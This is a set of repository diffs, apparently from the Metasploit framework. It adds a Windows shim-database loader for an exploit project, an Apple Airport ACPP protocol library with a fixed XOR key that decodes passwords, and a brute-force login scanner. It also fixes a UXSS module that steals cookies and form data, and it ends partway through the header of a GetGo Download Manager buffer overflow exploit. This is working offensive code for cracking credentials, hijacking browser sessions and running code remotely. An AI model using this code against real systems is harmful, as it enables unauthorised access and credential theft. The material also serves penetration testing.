typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent);
typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags);
typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult);
typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev);
typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich);
typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich);
typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath);
typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB);
typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey);
typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath);
typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile);
typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType);
typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData);
typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData);
typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize);
typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID tiWhich, DWORD dwDefault);
typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault);
typedef ULONGLONG(WINAPI *SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault);
typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize);
typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp);
typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB);
typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe);
typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich);
typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich);
typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich);
typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag);
typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB);
typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize);
typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath);
typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData);
typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag);
typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData);
typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData);
typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData);
typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow);
typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag);
typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)();

View File

@ -0,0 +1,190 @@
#include "stdafx.h"
#include "sdb.h"
BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL;
SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL;
SdbCloseDatabase SdbCloseDatabasePtr = NULL;
SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL;
SdbCommitIndexes SdbCommitIndexesPtr = NULL;
SdbCreateDatabase SdbCreateDatabasePtr = NULL;
SdbDeclareIndex SdbDeclareIndexPtr = NULL;
SdbEndWriteListTag SdbEndWriteListTagPtr = NULL;
SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL;
SdbFindFirstTag SdbFindFirstTagPtr = NULL;
SdbFindNextTag SdbFindNextTagPtr = NULL;
SdbFormatAttribute SdbFormatAttributePtr = NULL;
SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL;
SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL;
SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL;
SdbGetFileAttributes SdbGetFileAttributesPtr = NULL;
SdbGetFirstChild SdbGetFirstChildPtr = NULL;
SdbGetIndex SdbGetIndexPtr = NULL;
SdbGetMatchingExe SdbGetMatchingExePtr = NULL;
SdbGetNextChild SdbGetNextChildPtr = NULL;
SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL;
SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL;
SdbInitDatabase SdbInitDatabasePtr = NULL;
SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL;
SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL;
SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL;
SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL;
SdbOpenDatabase SdbOpenDatabasePtr = NULL;
SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL;
SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL;
SdbReadBinaryTag SdbReadBinaryTagPtr = NULL;
SdbReadDWORDTag SdbReadDWORDTagPtr = NULL;
SdbReadWORDTag SdbReadWORDTagPtr = NULL;
SdbReadQWORDTag SdbReadQWORDTagPtr = NULL;
SdbReadStringTag SdbReadStringTagPtr = NULL;
SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL;
SdbReleaseDatabase SdbReleaseDatabasePtr = NULL;
SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL;
SdbStartIndexing SdbStartIndexingPtr = NULL;
SdbStopIndexing SdbStopIndexingPtr = NULL;
SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL;
SdbTagToString SdbTagToStringPtr = NULL;
SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL;
SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL;
SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL;
SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL;
SdbWriteNULLTag SdbWriteNULLTagPtr = NULL;
SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL;
SdbWriteStringTag SdbWriteStringTagPtr = NULL;
SdbWriteWORDTag SdbWriteWORDTagPtr = NULL;
ShimFlushCache ShimFlushCachePtr = NULL;
SdbGetTagDataSize SdbGetTagDataSizePtr = NULL;
SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL;
BOOL resolveSdbFunctions()
{
HMODULE apphelpdll;
HMODULE kernel32dll;
apphelpdll = LoadLibraryA("apphelp.dll");
if (!apphelpdll)
{
fprintf(stderr, "Failed to load apphelp\n");
return FALSE;
}
kernel32dll = LoadLibraryA("kernel32.dll");
if (!kernel32dll)
{
fprintf(stderr, "Failed to load kernel32\n");
return FALSE;
}
BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache");
SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag");
SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase");
SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite");
SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes");
SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase");
SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex");
SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag");
SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag");
SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag");
SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag");
SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute");
SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes");
SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir");
SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData");
SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes");
SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild");
SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex");
SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe");
SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild");
SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr");
SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID");
SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase");
SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase");
SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString");
SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase");
SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile");
SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase");
SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID");
SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData");
SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag");
SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag");
SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag");
SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag");
SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag");
SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx");
SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase");
SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe");
SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing");
SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing");
SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID");
SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString");
SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase");
SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag");
SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile");
SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag");
SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag");
SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag");
SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag");
SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag");
ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache");
SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize");
SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption");
if (!BaseFlushAppcompatCachePtr
|| !SdbBeginWriteListTagPtr
|| !SdbCloseDatabasePtr
|| !SdbCloseDatabaseWritePtr
|| !SdbCommitIndexesPtr
|| !SdbCreateDatabasePtr
|| !SdbDeclareIndexPtr
|| !SdbEndWriteListTagPtr
|| !SdbFindFirstDWORDIndexedTagPtr
|| !SdbFindFirstTagPtr
|| !SdbFindNextTagPtr
|| !SdbFormatAttributePtr
|| !SdbFreeFileAttributesPtr
|| !SdbGetAppPatchDirPtr
|| !SdbGetBinaryTagDataPtr
|| !SdbGetFileAttributesPtr
|| !SdbGetFirstChildPtr
|| !SdbGetIndexPtr
|| !SdbGetMatchingExePtr
|| !SdbGetNextChildPtr
|| !SdbGetStringTagPtrPtr
|| !SdbGetTagFromTagIDPtr
|| !SdbInitDatabasePtr
|| !SdbIsStandardDatabasePtr
|| !SdbMakeIndexKeyFromStringPtr
|| !SdbOpenApphelpDetailsDatabasePtr
|| !SdbOpenApphelpResourceFilePtr
|| !SdbOpenDatabasePtr
|| !SdbQueryDataExTagIDPtr
|| !SdbReadApphelpDetailsDataPtr
|| !SdbReadBinaryTagPtr
|| !SdbReadDWORDTagPtr
|| !SdbReadQWORDTagPtr
|| !SdbReadStringTagPtr
|| !SdbRegisterDatabaseExPtr
|| !SdbReleaseDatabasePtr
|| !SdbReleaseMatchingExePtr
|| !SdbStartIndexingPtr
|| !SdbStopIndexingPtr
|| !SdbTagRefToTagIDPtr
|| !SdbTagToStringPtr
|| !SdbUnregisterDatabasePtr
|| !SdbWriteBinaryTagPtr
|| !SdbWriteBinaryTagFromFilePtr
|| !SdbWriteDWORDTagPtr
|| !SdbWriteNULLTagPtr
|| !SdbWriteQWORDTagPtr
|| !SdbWriteStringTagPtr
|| !SdbWriteWORDTagPtr
|| !ShimFlushCachePtr
|| !SdbReadWORDTagPtr
|| !SdbGetTagDataSizePtr
|| !SdbGetShowDebugInfoOptionPtr)
{
return FALSE;
}
return TRUE;
}

View File

@ -0,0 +1,9 @@
// stdafx.cpp : source file that includes just the standard includes
// exploit.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,14 @@
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#define WIN32_NO_STATUS 1
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <winternl.h>

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -0,0 +1,70 @@
require 'metasploit/framework/tcp/client'
require 'rex/proto/acpp'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with the Apple Airport ACPP
# protocol. It is responsible for taking a single target, and a list of
# credentials and attempting them. It then saves the results.
class ACPP
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
#
# CONSTANTS
#
DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'acpp' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'acpp'
}
begin
# Make our initial socket to the target
disconnect if self.sock
connect
client = Rex::Proto::ACPP::Client.new(sock)
auth_response = client.authenticate(credential.private)
if auth_response.successful?
status = Metasploit::Model::Login::Status::SUCCESSFUL
else
status = Metasploit::Model::Login::Status::INCORRECT
end
result_options.merge!(
proof: "Status code #{auth_response.status}",
status: status
)
rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
ensure
disconnect
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
end
end
end
end

View File

@ -27,7 +27,7 @@ module WMIC
result_text = ""
if datastore['SMBUser']
if server.downcase == "localhost" || server.downcase.starts_with("127.")
if server.downcase == "localhost" || server.downcase.starts_with?('127.')
raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
end
end

17
lib/rex/proto/acpp.rb Normal file
View File

@ -0,0 +1,17 @@
# -*- coding: binary -*-
#
# Support for the protocol used by Apple Airport products, typically on
# 5009/TCP. This protocol is not documented and doesn't appear to have a name,
# so I'm calling it ACPP because that is the protocol header.
#
require 'rex/proto/acpp/client'
require 'rex/proto/acpp/message'
module Rex
module Proto
module ACPP
DEFAULT_PORT = 5009
end
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
##
# ACPP protocol support
##
module Rex
module Proto
module ACPP
class Client
def initialize(sock, opts = {})
@sock = sock
@opts = opts
end
def authenticate(password = 'public')
login = Message.new
login.password = password
login.type = 20
@sock.put(login.to_s)
# TODO: the checksum never validates here
Message.decode(@sock.get_once(128), false)
end
end
end
end
end

View File

@ -0,0 +1,183 @@
# -*- coding: binary -*-
module Rex
module Proto
module ACPP
# From what I've been able to gather from the very limited findings on the
# web about this protocol, playing with it against a real Airport device and
# referencing the airport-utils package in Debian/Ubuntu, the format of (at
# least) the login message is:
#
# acpp # the header tag, always exactly acpp (4 bytes)
# unknown1 # unknown 4-byte field. Almost always 0x00000001
# messageChecksum # checksum of the message, 4 bytes
# payloadChecksum # checksum of the payload, 4 bytes
# payloadSize # size of the payload, 4 bytes
# unknown2 # unknown 8-byte field. probably some sort of
# request/response identifier. generally 0 for requests, 1 for replies
# messageType # the type of message, 4 bytes. see below.
# status # the status of this message, 4 bytes.
# generally 0 for success and !0 for failure.
# unknown3 # unknown 12-byte field, seemingly always 0. Probably 'reserved'
# password # 32-byte password, 'encrypted' by XOR'ing it with a 256-byte static key (see XOR_KEY)
# unknown4 # unknown 48-byte field, always 0.
#
# There are several possible message types:
#
# * 20 -- retrieve settings (payload is some list of settings to obtain)
# * 21 -- update setttings (and if the 'acRB' setting is set, it reboots)
# * 3 -- Upload firmware
#
# TODO: if you find more, add them above.
#
# When the message type is anything other than 20 or 3, payloadSize is set to -1 and
# payloadChecksum is set to 1. It may be a bug that 21 doesn't look at the
# checksum. Adler32 is used to compute the checksum.
#
# The message payload is a bit of an unknown right now, as it *seems* like
# the payload always comes in a subsequent request. Simply appending
# a payload to the existing message does not appear to work (but this needs
# more testing)
# This was taken from airport-util's AirportInforRecord for ease of copying, but can
# also be obtained by XOR'ing the null-padded known plain text with the appropriate 32-byte
# ciphertext from an airport-util request
XOR_KEY = [
14, 57, -8, 5, -60, 1, 85, 79, 12, -84,
-123, 125, -122, -118, -75, 23, 62, 9, -56, 53,
-12, 49, 101, 127, 60, -100, -75, 109, -106, -102,
-91, 7, 46, 25, -40, 37, -28, 33, 117, 111,
44, -116, -91, -99, 102, 106, 85, -9, -34, -23,
40, -43, 20, -47, -123, -97, -36, 124, 85, -115,
118, 122, 69, -25, -50, -7, 56, -59, 4, -63,
-107, -113, -52, 108, 69, -67, 70, 74, 117, -41,
-2, -55, 8, -11, 52, -15, -91, -65, -4, 92,
117, -83, 86, 90, 101, -57, -18, -39, 24, -27,
36, -31, -75, -81, -20, 76, 101, -35, 38, 42,
21, -73, -98, -87, 104, -107, 84, -111, -59, -33,
-100, 60, 21, -51, 54, 58, 5, -89, -114, -71,
120, -123, 68, -127, -43, -49, -116, 44, 5, -3,
6, 10, 53, -105, -66, -119, 72, -75, 116, -79,
-27, -1, -68, 28, 53, -19, 22, 26, 37, -121,
-82, -103, 88, -91, 100, -95, -11, -17, -84, 12,
37, 29, -26, -22, -43, 119, 94, 105, -88, 85,
-108, 81, 5, 31, 92, -4, -43, 13, -10, -6,
-59, 103, 78, 121, -72, 69, -124, 65, 21, 15,
76, -20, -59, 61, -58, -54, -11, 87, 126, 73,
-120, 117, -76, 113, 37, 63, 124, -36, -11, 45,
-42, -38, -27, 71, 110, 89, -104, 101, -92, 97,
53, 47, 108, -52, -27, 93, -90, -86, -107, 55,
30, 41, -24, 21, -44, 17, 69, 95, 28, -68,
-107, 77, -74, -70, -123, 39
].pack("C*")
class Message
# @return [Integer] the type of this message
attr_accessor :type
# @return [String] the password to attempt to authenticate with
attr_accessor :password
# @return [String] the optional message payload
attr_accessor :payload
# @return [Integer] the status of this message
attr_accessor :status
def initialize
@payload = ''
@type = 0
@status = 0
@password = ''
@unknown1 = 1
@unknown2 = ''
@unknown3 = ''
@unknown4 = ''
end
# Determines if this message has a successful status code
#
# @return [Boolean] true iff @status is 0, false otherwise
def successful?
@status == 0
end
# Get this Message as a String
#
# @return [String] the string representation of this Message
def to_s
with_checksum(Zlib.adler32(with_checksum(0)))
end
# Compares this Message and another Message for equality
#
# @param other [Message] the Message to compare
# @return [Boolean] true iff the two messages are equal, false otherwise
def ==(other)
other.type == @type &&
other.status == @status &&
other.password == @password &&
other.payload == @payload
end
# Decodes the provided data into a Message
#
# @param data [String] the data to parse as a Message
# @param validate_checksum [Boolean] true to validate the message and
# payload checksums, false to not. Defaults to true.
# @return [Message] the decoded Message
def self.decode(data, validate_checksum = true)
data = data.dup
fail "Incorrect ACPP message size #{data.size} -- must be 128" unless data.size == 128
fail 'Unexpected header' unless 'acpp' == data.slice!(0, 4)
_unknown1 = data.slice!(0, 4)
read_message_checksum = data.slice!(0, 4).unpack('N').first
read_payload_checksum = data.slice!(0, 4).unpack('N').first
_read_payload_size = data.slice!(0, 4).unpack('N').first
_unknown2 = data.slice!(0, 8)
type = data.slice!(0, 4).unpack('N').first
status = data.slice!(0, 4).unpack('N').first
_unknown3 = data.slice!(0, 12)
password = Rex::Encoding::Xor::Generic.encode(data.slice!(0, 32), XOR_KEY).first.strip
_unknown4 = data.slice!(0, 48)
payload = data
m = new
m.type = type
m.password = password
m.status = status
m.payload = payload
# we can now validate the checksums if desired
if validate_checksum
actual_message_checksum = Zlib.adler32(m.with_checksum(0))
if actual_message_checksum != read_message_checksum
fail "Invalid message checksum (expected #{read_message_checksum}, calculated #{actual_message_checksum})"
end
# I'm not sure this can ever happen -- if the payload checksum is wrong, then the
# message checksum will also be wrong. So, either I misunderstand the protocol
# or having two checksums is useless
actual_payload_checksum = Zlib.adler32(payload)
if actual_payload_checksum != read_payload_checksum
fail "Invalid payload checksum (expected #{read_payload_checksum}, calculated #{actual_payload_checksum})"
end
end
m
end
def with_checksum(message_checksum)
[
'acpp',
@unknown1,
message_checksum,
Zlib.adler32(@payload),
@payload.size,
@unknown2,
@type,
@status,
@unknown3,
Rex::Encoding::Xor::Generic.encode([@password].pack('a32').slice(0, 32), XOR_KEY).first,
@unknown4,
payload
].pack('a4NNNNa8NNa12a32a48a*')
end
end
end
end
end

View File

@ -47,9 +47,9 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://browserscan.rapid7.com/']),
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']),
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']),
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']),
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
@ -768,8 +768,11 @@ class Metasploit3 < Msf::Auxiliary
if script_uri.relative?
url = page_uri + url
end
if url.to_s.starts_with? '//'
url = "#{page_uri.scheme}:#{url}"
end
io = open(url)
rescue URI::InvalidURIError => e
rescue URI::InvalidURIError, OpenURI::HTTPError
next
end

View File

@ -0,0 +1,103 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/acpp'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/acpp'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Apple Airport ACPP Authentication Scanner',
'Description' => %q(
This module attempts to authenticate to an Apple Airport using its
proprietary and largely undocumented protocol known only as ACPP.
),
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com>'
],
'References' =>
[
%w(CVE 2003-0270) # Fixed XOR key used to encrypt password
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT)
], self.class)
deregister_options(
# there is no username, so remove all of these options
'DB_ALL_USERS',
'DB_ALL_CREDS',
'USERNAME',
'USERPASS_FILE',
'USER_FILE',
'USER_AS_PASS'
)
register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT])
end
def run_host(ip)
vprint_status("#{ip}:#{rport} - Starting ACPP login sweep")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
username: '<BLANK>'
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::ACPP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['ConnectTimeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
password = result.credential.private
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}")
report_vuln(
host: ip,
port: rport,
proto: 'tcp',
name: 'Fixed XOR key used to encrypt passwords',
info: "Successful authentication with '#{password}'",
refs: references
)
else
invalidate_login(credential_data)
vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})")
end
end
end
end

View File

@ -0,0 +1,170 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
overly long HTTP response header.
By persuading the victim to download a file from a malicious server, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Julien Ahrens', # Vulnerability discovery
'Gabor Seljan' # Metasploit module
],
'References' =>
[
[ 'EDB', '32132' ],
[ 'OSVDB', '103910' ],
[ 'CVE', '2014-2206' ],
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'URIPATH' => "/shakeitoff.mp3"
},
'Platform' => 'win',
'Payload' =>
{
